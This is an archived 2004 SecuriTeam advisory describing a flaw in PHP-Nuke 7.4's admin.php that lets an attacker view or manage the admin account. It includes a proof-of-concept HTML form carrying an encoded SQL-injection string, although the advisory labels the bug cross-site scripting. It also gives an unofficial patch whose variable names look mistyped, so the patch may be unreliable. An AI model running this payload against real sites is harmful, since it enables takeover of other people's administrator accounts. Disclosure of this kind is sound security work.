

# [UNIX] PHP-Nuke ViewAdmin Cross Site Scripting Bug

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0020.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 09/08/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 8 Sep 2004 09:11:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PHP-Nuke ViewAdmin Cross Site Scripting Bug

---

## SUMMARY

" <<http://www.phpnuke.org/>> PHP-Nuke is a news automated system specially designed to be used in Intranets and the Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases".

A critical XSS vulnerability in PHP-Nuke allows an attacker to view the admin account aid.

## DETAILS

Vulnerable Systems:

\* PHP-Nuke version 7.4

The above mentioned version of PHP-Nuke suffers from a cross site scripting condition that literally allows an attacker to manage the admin account and even delete it completely using the information provided there. The bug is actually quite old but the patch that is supposed to fix it can be totally circumvented using POST queries instead of GET queries.

## Securiteam: [UNIX] PHP–Nuke ViewAdmin Cross Site Scripting Bug

A sample HTML snippet that demonstrates this:

```
----- Begin Code
-----
<form name="form1" method="POST"
action="http://www.sitewithphpnuke.com/admin.php">
  <input type="hidden" name="admin"
value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
  <br>
  <input type="hidden" name="add_radminsuper" value="1">
  <br>
  <input type="hidden" name="op" value="mod_authors">
  <input type="submit" name="Submit" value="Display">
  <br>
</p>
</form>
----- End Code
-----
```

Other vulnerabilities of this kind exist in the current version of PHP–Nuke. A description of the rest along with relevant patches can be found at <http://www.mantralab.org> <http://www.mantralab.org>.

### Patch Availability:

A non–official patch is supplied that will solve this specific issue. Apply it to the admin.php source file:

```
----- Begin Code
-----
if ( !empty($_HTTP_GET_VARS['op']) ) {
    $op = $_HTTP_GET_VARS['op'];
}

if ( !empty($_HTTP_POST_VARS['op']) ) {
    $op = $_HTTP_POST_VARS['op'];
}
----- End Code
-----
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:mantra@ntj.it> Pierquinto Manco.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

## Securiteam: [UNIX] PHP–Nuke ViewAdmin Cross Site Scripting Bug

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.